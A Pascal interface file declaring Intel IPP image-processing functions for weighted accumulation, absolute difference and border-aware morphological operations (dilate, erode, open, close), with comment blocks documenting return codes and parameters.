{ ----------------------------------------------------------------------------
Name: ippiAddWeighted_8u32f_C1IR, ippiAddWeighted_8s32f_C1IR,
ippiAddWeighted_16u32f_C1IR, ippiAddWeighted_32f_C1IR,
ippiAddWeighted_8u32f_C1IMR, ippiAddWeighted_8s32f_C1IMR,
ippiAddWeighted_16u32f_C1IMR,ippiAddWeighted_32f_C1IMR
ippiAddWeighted_32f_C1R
Purpose: Add image, multiplied by alpha, to accumulator, multiplied by (1 - alpha).
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
ippStsStepErr Step is too small to fit image.
ippStsNotEvenStepErr Step is not multiple of element.
Arguments:
pSrc1 Pointer to first source image
src1Step Step in the first source image
pSrc2 Pointer to second source image
src2Step Step in the second source image
pMask Pointer to mask
maskStep Step in the mask image
pSrcDst Pointer to accumulator image
srcDstStep Step in the accumulator image
pDst Pointer to destination image
dstStep Step in the destination image
roiSize Image size
alpha Weight of source image
}
function ippiAddWeighted_8u32f_C1IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; alpha : Ipp32f ): IppStatus; _ippapi
function ippiAddWeighted_16u32f_C1IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; alpha : Ipp32f ): IppStatus; _ippapi
function ippiAddWeighted_32f_C1IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; alpha : Ipp32f ): IppStatus; _ippapi
function ippiAddWeighted_8u32f_C1IMR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; alpha : Ipp32f ): IppStatus; _ippapi
function ippiAddWeighted_16u32f_C1IMR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; alpha : Ipp32f ): IppStatus; _ippapi
function ippiAddWeighted_32f_C1IMR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; alpha : Ipp32f ): IppStatus; _ippapi
function ippiAddWeighted_32f_C1R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; alpha : Ipp32f ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Absolute difference
----------------------------------------------------------------------------
Name: ippiAbsDiff_8u_C1R, ippiAbsDiff_8u_C3R, ippiAbsDiff_16u_C1R, ippiAbsDiff_32f_C1R,
Purpose: Calculate absolute difference between corresponding pixels of the two images
or between image pixels and scalar.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
ippStsStepErr The steps in images are too small
ippStsNotEvenStepErr Step is not multiple of element.
Parameters:
pSrc1 Source image
src1Step Its step
pSrc2 Second source image
src2Step Its step
pDst Destination image
dstStep Its step
roiSize ROI size
}
function ippiAbsDiff_8u_C1R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAbsDiff_8u_C3R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAbsDiff_16u_C1R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAbsDiff_32f_C1R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiAbsDiffC_8u_C1R, ippiAbsDiffC_16u_C1R, ippiAbsDiffC_32f_C1R,
Purpose: Calculate absolute difference between image pixels and scalar.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
ippStsStepErr The steps in images are too small
ippStsNotEvenStepErr Step is not multiple of element.
Parameters:
pSrc Source image
srcStep Its step
pDst Destination image: dst(x,y) = abs(src(x,y) - value)
dstStep Its step
roiSize ROI size
value Scalar value to compare with. For 8u function
If scalar is not within [0,255], it is clipped
( value = value < 0 ? 0 : value > 255 ? value 255)
}
function ippiAbsDiffC_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; value : Int32 ): IppStatus; _ippapi
function ippiAbsDiffC_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; value : Int32 ): IppStatus; _ippapi
function ippiAbsDiffC_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; value : Ipp32f ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Morphological Operations
----------------------------------------------------------------------------
Name: ippiMorphologyBorderGetSize_16u_C1R, ippiMorphologyBorderGetSize_16s_C1R,
ippiMorphologyBorderGetSize_1u_C1R, ippiMorphologyBorderGetSize_8u_C1R,
ippiMorphologyBorderGetSize_8u_C3R, ippiMorphologyBorderGetSize_8u_C4R,
ippiMorphologyBorderGetSize_32f_C1R, ippiMorphologyBorderGetSize_32f_C3R
ippiMorphologyBorderGetSize_32f_C4R
Purpose: Gets the size of the internal state or specification structure for morphological operations.
Return:
ippStsNoErr Ok.
ippStsNullPtrErr One of the pointers is NULL.
ippStsSizeErr Width of the image, or width or height of the structuring
element is less than, or equal to zero.
Parameters:
roiWidth Width of the image ROI in pixels.
pMask Pointer to the structuring element (mask).
maskSize Size of the structuring element.
pSize Pointer to the state structure length.
pSpecSize Pointer to the specification structure size.
pBufferSize Pointer to the buffer size value for the morphological initialization function.
}
function ippiMorphologyBorderGetSize_8u_C1R( roiSize : IppiSize ; maskSize : IppiSize ; var pSpecSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiMorphologyBorderGetSize_8u_C3R( roiSize : IppiSize ; maskSize : IppiSize ; var pSpecSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiMorphologyBorderGetSize_8u_C4R( roiSize : IppiSize ; maskSize : IppiSize ; var pSpecSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiMorphologyBorderGetSize_32f_C1R( roiSize : IppiSize ; maskSize : IppiSize ; var pSpecSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiMorphologyBorderGetSize_32f_C3R( roiSize : IppiSize ; maskSize : IppiSize ; var pSpecSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiMorphologyBorderGetSize_32f_C4R( roiSize : IppiSize ; maskSize : IppiSize ; var pSpecSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiMorphologyBorderGetSize_16u_C1R( roiSize : IppiSize ; maskSize : IppiSize ; var pSpecSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiMorphologyBorderGetSize_16s_C1R( roiSize : IppiSize ; maskSize : IppiSize ; var pSpecSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiMorphologyBorderGetSize_1u_C1R( roiSize : IppiSize ; maskSize : IppiSize ; var pSpecSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiMorphologyBorderInit_16u_C1R, ippiMorphologyBorderInit_16s_C1R
ippiMorphologyBorderInit_1u_C1R, ippiMorphologyBorderInit_8u_C1R
ippiMorphologyBorderInit_8u_C3R, ippiMorphologyBorderInit_8u_C4R
ippiMorphologyBorderInit_32f_C1R, ippiMorphologyBorderInit_32f_C3R,
ippiMorphologyBorderInit_32f_C4R,
Purpose: Initialize the internal state or specification structure for morphological operation.
Return:
ippStsNoErr Ok.
ippStsNullPtrErr One of the pointers is NULL.
ippStsSizeErr Width of the image or width or height of the structuring
element is less than, or equal to zero.
ippStsAnchorErr Anchor point is outside the structuring element.
Parameters:
roiWidth Width of the image ROI in pixels.
pMask Pointer to the structuring element (mask).
maskSize Size of the structuring element.
anchor Anchor of the structuring element.
pState Pointer to the morphology state structure.
pMorphSpec Pointer to the morphology specification structure.
pBuffer Pointer to the external work buffer.
}
function ippiMorphologyBorderInit_16u_C1R( roiSize : IppiSize ; pMask : Ipp8uPtr ; maskSize : IppiSize ; pMorphSpec : IppiMorphStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphologyBorderInit_16s_C1R( roiSize : IppiSize ; pMask : Ipp8uPtr ; maskSize : IppiSize ; pMorphSpec : IppiMorphStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphologyBorderInit_1u_C1R( roiSize : IppiSize ; pMask : Ipp8uPtr ; maskSize : IppiSize ; pMorphSpec : IppiMorphStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphologyBorderInit_8u_C1R( roiSize : IppiSize ; pMask : Ipp8uPtr ; maskSize : IppiSize ; pMorphSpec : IppiMorphStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphologyBorderInit_8u_C3R( roiSize : IppiSize ; pMask : Ipp8uPtr ; maskSize : IppiSize ; pMorphSpec : IppiMorphStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphologyBorderInit_8u_C4R( roiSize : IppiSize ; pMask : Ipp8uPtr ; maskSize : IppiSize ; pMorphSpec : IppiMorphStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphologyBorderInit_32f_C1R( roiSize : IppiSize ; pMask : Ipp8uPtr ; maskSize : IppiSize ; pMorphSpec : IppiMorphStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphologyBorderInit_32f_C3R( roiSize : IppiSize ; pMask : Ipp8uPtr ; maskSize : IppiSize ; pMorphSpec : IppiMorphStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphologyBorderInit_32f_C4R( roiSize : IppiSize ; pMask : Ipp8uPtr ; maskSize : IppiSize ; pMorphSpec : IppiMorphStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiDilateBorder_8u_C1R, ippiDilateBorder_8u_C3R,
ippiDilateBorder_8u_C4R, ippiDilateBorder_32f_C1R,
ippiDilateBorder_32f_C3R, ippiDilateBorder_32f_C4R
ippiErodeBorder_8u_C1R, ippiErodeBorder_8u_C3R,
ippiErodeBorder_8u_C4R, ippiErodeBorder_32f_C1R,
ippiErodeBorder_32f_C3R, ippiErodeBorder_32f_C4R,
ippiDilateBorder_16u_C1R, ippiDilateBorder_16s_C1R,
ippiDilateBorder_1u_C1R
Purpose: Perform erosion/dilation of the image arbitrary shape structuring element.
Return:
ippStsNoErr Ok.
ippStsNullPtrErr One of the pointers is NULL.
ippStsSizeErr The ROI width or height is less than 1,
or ROI width is bigger than ROI width in the state structure.
ippStsStepErr Step is too small to fit the image.
ippStsNotEvenStepErr Step is not multiple of the element.
ippStsBadArgErr Incorrect border type.
Parameters:
pSrc Pointer to the source image.
srcStep Step in the source image.
pDst Pointer to the destination image.
dstStep Step in the destination image.
roiSize ROI size.
borderType Type of border (ippBorderRepl now).
borderValue Value for the constant border.
pState Pointer to the morphology state structure.
pMorphSpec Pointer to the morphology specification structure.
pBuffer Pointer to the external work buffer.
}
function ippiDilateBorder_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pMorphSpec : IppiMorphStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDilateBorder_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp8u_3 ; pMorphSpec : IppiMorphStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDilateBorder_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp8u_4 ; pMorphSpec : IppiMorphStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDilateBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp32f ; pMorphSpec : IppiMorphStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDilateBorder_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp32f_3 ; pMorphSpec : IppiMorphStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDilateBorder_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp32f_4 ; pMorphSpec : IppiMorphStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDilateBorder_1u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcBitOffset : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstBitOffset : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pMorphSpec : IppiMorphStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDilateBorder_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp16u ; pMorphSpec : IppiMorphStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiDilateBorder_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp16s ; pMorphSpec : IppiMorphStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiErodeBorder_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pMorphSpec : IppiMorphStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiErodeBorder_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp8u_3 ; pMorphSpec : IppiMorphStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiErodeBorder_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp8u_4 ; pMorphSpec : IppiMorphStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiErodeBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp32f ; pMorphSpec : IppiMorphStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiErodeBorder_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp32f_3 ; pMorphSpec : IppiMorphStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiErodeBorder_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp32f_4 ; pMorphSpec : IppiMorphStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiErodeBorder_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp16u ; pMorphSpec : IppiMorphStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiErodeBorder_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp16s ; pMorphSpec : IppiMorphStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiErodeBorder_1u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcBitOffset : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstBitOffset : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pMorphSpec : IppiMorphStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Advanced Morphological Operations
---------------------------------------------------------------------------- }
{ ----------------------------------------------------------------------------
Name: ippiMorphAdvGetSize_8u_C1R, ippiMorphAdvGetSize_32f_C1R,
ippiMorphAdvGetSize_8u_C3R, ippiMorphAdvGetSize_32f_C3R,
ippiMorphAdvGetSize_8u_C4R, ippiMorphAdvGetSize_32f_C4R,
ippiMorphAdvGetSize_16u_C1R, ippiMorphAdvGetSize_16s_C1R,
ippiMorphAdvGetSize_1u_C1R
Purpose: Gets the size of the internal state or specification structure for advanced morphological operations.
Return:
ippStsNoErr Ok.
ippStsNullPtrErr One of the pointers is NULL.
ippStsSizeErr Width of the image, or width or height of the structuring.
element is less than, or equal to zero.
Parameters:
roiSize Maximum size of the image ROI, in pixels.
pMask Pointer to the structuring element (mask).
maskSize Size of the structuring element.
pSize Pointer to the state structure length.
pSpecSize Pointer to the specification structure size.
pBufferSize Pointer to the buffer size value for the morphology initialization function.
}
function ippiMorphAdvGetSize_16u_C1R( roiSize : IppiSize ; maskSize : IppiSize ; var pSpecSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiMorphAdvGetSize_16s_C1R( roiSize : IppiSize ; maskSize : IppiSize ; var pSpecSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiMorphAdvGetSize_1u_C1R( roiSize : IppiSize ; maskSize : IppiSize ; var pSpecSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiMorphAdvGetSize_8u_C1R( roiSize : IppiSize ; maskSize : IppiSize ; var pSpecSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiMorphAdvGetSize_8u_C3R( roiSize : IppiSize ; maskSize : IppiSize ; var pSpecSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiMorphAdvGetSize_8u_C4R( roiSize : IppiSize ; maskSize : IppiSize ; var pSpecSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiMorphAdvGetSize_32f_C1R( roiSize : IppiSize ; maskSize : IppiSize ; var pSpecSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiMorphAdvGetSize_32f_C3R( roiSize : IppiSize ; maskSize : IppiSize ; var pSpecSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiMorphAdvGetSize_32f_C4R( roiSize : IppiSize ; maskSize : IppiSize ; var pSpecSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiMorphAdvInit_8u_C1R, ippiMorphAdvInit_32f_C1R,
ippiMorphAdvInit_8u_C3R, ippiMorphAdvInit_32f_C3R,
ippiMorphAdvInit_8u_C4R, ippiMorphAdvInit_32f_C4R,
ippiMorphAdvInit_16u_C1R, ippiMorphAdvInit_16s_C1R,
ippiMorphAdvInit_1u_C1R
Purpose: Initialize the internal state or specification structure for advanced morphological operations.
Return:
ippStsNoErr Ok.
ippStsNullPtrErr One of the pointers is NULL.
ippStsSizeErr Width of the image or width or height of the structuring
element is less than, or equal to zero.
ippStsAnchorErr Anchor point is outside the structuring element.
Parameters:
pState Pointer to the morphological state structure (Init).
roiSize Maximum size of the image ROI, in pixels.
pMask Pointer to the structuring element (mask).
maskSize Size of the structuring element.
anchor Anchor of the structuring element.
pMorphSpec Pointer to the advanced morphology specification structure.
pBuffer Pointer to the external work buffer.
}
function ippiMorphAdvInit_8u_C1R( roiSize : IppiSize ; pMask : Ipp8uPtr ; maskSize : IppiSize ; pMorphSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphAdvInit_8u_C3R( roiSize : IppiSize ; pMask : Ipp8uPtr ; maskSize : IppiSize ; pMorphSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphAdvInit_8u_C4R( roiSize : IppiSize ; pMask : Ipp8uPtr ; maskSize : IppiSize ; pMorphSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphAdvInit_16u_C1R( roiSize : IppiSize ; pMask : Ipp8uPtr ; maskSize : IppiSize ; pMorphSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphAdvInit_16s_C1R( roiSize : IppiSize ; pMask : Ipp8uPtr ; maskSize : IppiSize ; pMorphSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphAdvInit_1u_C1R( roiSize : IppiSize ; pMask : Ipp8uPtr ; maskSize : IppiSize ; pMorphSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphAdvInit_32f_C1R( roiSize : IppiSize ; pMask : Ipp8uPtr ; maskSize : IppiSize ; pMorphSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphAdvInit_32f_C3R( roiSize : IppiSize ; pMask : Ipp8uPtr ; maskSize : IppiSize ; pMorphSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphAdvInit_32f_C4R( roiSize : IppiSize ; pMask : Ipp8uPtr ; maskSize : IppiSize ; pMorphSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiMorphCloseBorder_8u_C1R, ippiMorphCloseBorder_8u_C3R,
ippiMorphCloseBorder_8u_C4R, ippiMorphCloseBorder_32f_C1R,
ippiMorphCloseBorder_32f_C3R, ippiMorphCloseBorder_32f_C4R
ippiMorphOpenBorder_8u_C1R, ippiMorphOpenBorder_8u_C3R,
ippiMorphOpenBorder_8u_C4R, ippiMorphOpenBorder_32f_C1R,
ippiMorphOpenBorder_32f_C3R, ippiMorphOpenBorder_32f_C4R,
ippiMorphCloseBorder_16u_C1R, ippiMorphOpenBorder_16u_C1R,
ippiMorphCloseBorder_16s_C1R, ippiMorphOpenBorder_16s_C1R,
ippiMorphCloseBorder_1u_C1R, ippiMorphOpenBorder_1u_C1R,
ippiMorphTophatBorder_8u_C1R, ippiMorphTophatBorder_8u_C3R,
ippiMorphTophatBorder_8u_C4R, ippiMorphTophatBorder_32f_C1R,
ippiMorphTophatBorder_32f_C3R, ippiMorphTophatBorder_32f_C4R,
ippiMorphBlackhatBorder_8u_C1R, ippiMorphBlackhatBorder_8u_C3R,
ippiMorphBlackhatBorder_8u_C4R, ippiMorphBlackhatBorder_32f_C1R,
ippiMorphBlackhatBorder_32f_C3R, ippiMorphBlackhatBorder_32f_C4R,
ippiMorphGradientBorder_8u_C1R, ippiMorphGradientBorder_8u_C3R,
ippiMorphGradientBorder_8u_C4R, ippiMorphGradientBorder_32f_C1R,
ippiMorphGradientBorder_32f_C3R, ippiMorphGradientBorder_32f_C4R,
Purpose: Perform advanced morphologcal operations on the image arbitrary shape structuring element.
Return:
ippStsNoErr Ok.
ippStsNullPtrErr One of the pointers is NULL.
ippStsSizeErr The ROI width or height is less than 1,
or ROI width is bigger than ROI width in the state structure.
ippStsStepErr Step is too small to fit the image.
ippStsNotEvenStepErr Step is not multiple of the element.
ippStsBadArgErr Incorrect border type.
Parameters:
pSrc Pointer to the source image.
srcStep Step in the source image.
pDst Pointer to the destination image.
dstStep Step in the destination image.
roiSize ROI size.
borderType Type of border (ippBorderRepl now).
borderValue Value for the constant border.
pState Pointer to the morphology operation state structure.
pMorphSpec Pointer to the morphology specification structure.
pBuffer Pointer to the external work buffer.
}
function ippiMorphOpenBorder_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp16u ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphOpenBorder_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp16s ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphOpenBorder_1u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcBitOffset : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstBitOffset : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphOpenBorder_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphOpenBorder_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp8u_3 ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphOpenBorder_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp8u_4 ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphCloseBorder_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphCloseBorder_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp8u_3 ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphCloseBorder_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp8u_4 ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphCloseBorder_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp16u ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphCloseBorder_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp16s ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
